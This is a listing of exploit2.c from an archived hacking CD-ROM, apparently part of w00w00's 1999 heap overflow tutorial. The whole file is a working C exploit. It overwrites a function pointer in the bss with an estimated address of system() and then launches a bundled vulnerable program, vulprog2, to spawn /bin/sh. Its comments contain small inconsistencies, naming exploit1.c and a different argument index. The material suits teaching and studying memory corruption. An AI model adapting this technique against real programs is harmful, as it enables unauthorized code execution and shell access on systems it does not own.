home *** CD-ROM | disk | FTP | other *** search
/ Power Hacker 2003 / Power_Hacker_2003.iso / Exploit and vulnerability / w00w00 / heaptut / examples / vulpkgs / vulpkg2 / exploit2.c next >
Encoding:
C/C++ Source or Header  |  1999-01-08  |  1.2 KB  |  49 lines

  1. /*
  2.  * Copyright (C) January 1999, Matt Conover & w00w00 Security Development
  3.  *
  4.  * Demonstrates overflowing/manipulating static function pointers in the
  5.  * bss (uninitialized data) to execute functions.
  6.  *
  7.  * Try in the offset (argv[2]) in the range of 140-160
  8.  * To compile use: gcc -o exploit1 exploit1.c
  9.  */
  10.  
  11. #include <stdio.h>
  12. #include <stdlib.h>
  13. #include <unistd.h>
  14. #include <string.h>
  15.  
  16. #define BUFSIZE 16 /* the estimated diff between funcptr/buf in vulprog */
  17.  
  18. #define VULPROG "./vulprog2" /* vulnerable program location */
  19. #define CMD "/bin/sh" /* command to execute if successful */
  20.  
  21. #define ERROR -1
  22.  
  23. int main(int argc, char **argv)
  24. {
  25.    register int i;
  26.    u_long sysaddr;
  27.    static char buf[BUFSIZE + sizeof(u_long) + 1] = {0};
  28.  
  29.    if (argc <= 1)
  30.    {
  31.       fprintf(stderr, "Usage: %s <offset>\n", argv[0]);
  32.       fprintf(stderr, "[offset = estimated system() offset in vulprog\n\n");
  33.  
  34.       exit(ERROR);
  35.    }
  36.  
  37.    sysaddr = (u_long)&system - atoi(argv[1]);
  38.    printf("Trying system() at 0x%lx\n", sysaddr);
  39.  
  40.    memset(buf, 'A', BUFSIZE);
  41.  
  42.    /* reverse byte order (on a little endian system) */
  43.    for (i = 0; i < sizeof(sysaddr); i++)
  44.       buf[BUFSIZE + i] = ((u_long)sysaddr >> (i * 8)) & 255;
  45.  
  46.    execl(VULPROG, VULPROG, buf, CMD, NULL);
  47.    return 0;
  48. }
  49.